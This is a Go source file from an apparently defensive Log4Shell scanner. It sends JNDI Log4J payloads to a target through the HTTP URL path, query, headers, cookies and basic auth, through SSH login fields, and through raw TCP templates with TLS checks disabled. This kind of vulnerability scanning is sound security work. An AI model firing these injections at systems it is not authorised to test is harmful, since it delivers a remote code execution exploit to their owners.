-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathfuzzers.go
136 lines (131 loc) · 3.86 KB
/
fuzzers.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
package l9l4gfuzz
import (
"bytes"
"context"
"crypto/tls"
"errors"
"golang.org/x/crypto/ssh"
"io"
"net"
"net/http"
"net/url"
"time"
)
func (f *fuzzer) FuzzUrl(inputUrl string) (err error) {
parsedUrl, err := url.ParseRequestURI(inputUrl)
if err != nil {
parsedUrl, err = url.ParseRequestURI("tcp://" + inputUrl)
if err != nil {
return err
}
}
if f.requestTemplate != nil {
//TCP mode
return f.FuzzTemplate(parsedUrl)
}
switch parsedUrl.Scheme {
case "http":
return f.FuzzHttp(parsedUrl)
case "https":
return f.FuzzHttp(parsedUrl)
case "ssh":
return f.FuzzSSH(parsedUrl)
}
return ErrNoFuzzerForScheme
}
func (f *fuzzer) FuzzHttp(parsedUrl *url.URL) (err error) {
ctx, ctxCancel := context.WithTimeout(context.Background(), f.timeout)
defer ctxCancel()
sourceUrl := parsedUrl.String()
if len(parsedUrl.Path) < 1 || parsedUrl.Path == "/" {
parsedUrl.Path = "/" + f.PayloadJNDILog4J(sourceUrl, "http-url-path")
}
parsedUrl.RawQuery = f.PayloadJNDILog4J(sourceUrl, "http-url-query-key") + "=" + f.PayloadJNDILog4J(sourceUrl, "http-url-query-value")
req, err := http.NewRequestWithContext(ctx, http.MethodGet, parsedUrl.String(), nil)
if err != nil {
return
}
req.Header.Set("User-Agent", f.PayloadJNDILog4J(sourceUrl, "http-user-agent"))
req.Header.Set("Cookie", f.PayloadJNDILog4J(sourceUrl, "http-cookie-key")+"="+f.PayloadJNDILog4J(sourceUrl, "http-cookie-value"))
req.Header.Set("Cache-Control", f.PayloadJNDILog4J(sourceUrl, "http-header-cache-control"))
req.Header.Set("X-LeakIX", f.PayloadJNDILog4J(sourceUrl, "http-header-random"))
req.Header.Set("X-Forwarded-For", f.PayloadJNDILog4J(sourceUrl, "http-header-x-forwarded-for"))
req.Header.Set("X-Duplicate", f.PayloadJNDILog4J(sourceUrl, "http-header-dup1"))
req.Header.Set("X-Duplicate", f.PayloadJNDILog4J(sourceUrl, "http-header-dup2"))
req.SetBasicAuth(f.PayloadJNDILog4J(sourceUrl, "http-auth-basic-user"), f.PayloadJNDILog4J(sourceUrl, "http-auth-basic-password"))
resp, err := HttpClient().Do(req)
if err != nil {
return err
}
if resp != nil && resp.Body != nil {
defer resp.Body.Close()
}
_, err = io.Copy(io.Discard, resp.Body)
return err
}
func (f *fuzzer) FuzzSSH(parsedUrl *url.URL) (err error) {
host := parsedUrl.Hostname()
port := "22"
if parsedUrl.Port() != "" {
port = parsedUrl.Port()
}
conn, err := f.l9Helper.GetNetworkConnection("tcp", net.JoinHostPort(host, port))
if err != nil {
return
}
defer conn.Close()
_, _, _, err = ssh.NewClientConn(conn, net.JoinHostPort(host, port), &ssh.ClientConfig{
User: f.PayloadJNDILog4J(parsedUrl.String(), "ssh-user"),
Auth: []ssh.AuthMethod{
ssh.Password(f.PayloadJNDILog4J(parsedUrl.String(), "ssh-password")),
},
HostKeyCallback: func(_ string, _ net.Addr, key ssh.PublicKey) error {
return nil
},
BannerCallback: func(message string) error {
return nil
},
Timeout: f.timeout,
})
return err
}
func (f *fuzzer) FuzzTemplate(parsedUrl *url.URL) (err error) {
host := parsedUrl.Hostname()
if parsedUrl.Port() == "" {
return errors.New("not port for generic tcp")
}
var buffer bytes.Buffer
err = f.requestTemplate.Execute(&buffer, struct {
Url *url.URL
Fuzzer *fuzzer
}{
Url: parsedUrl,
Fuzzer: f,
})
conn, err := f.l9Helper.GetNetworkConnection("tcp", net.JoinHostPort(host, parsedUrl.Port()))
if err != nil {
return
}
defer conn.Close()
// Upgrade to TLS if scheme is https/ssl or tls
if parsedUrl.Scheme == "https" || parsedUrl.Scheme == "ssl" || parsedUrl.Scheme == "tls" {
err = conn.SetDeadline(time.Now().Add(f.timeout))
if err != nil {
return
}
conn = tls.Client(conn,
// #nosec because we're a scanner
&tls.Config{InsecureSkipVerify: true, ServerName: host},
)
err = conn.(*tls.Conn).Handshake()
if err != nil {
return
}
}
err = conn.SetDeadline(time.Now().Add(f.timeout))
if err != nil {
return err
}
_, err = conn.Write(buffer.Bytes())
return err
}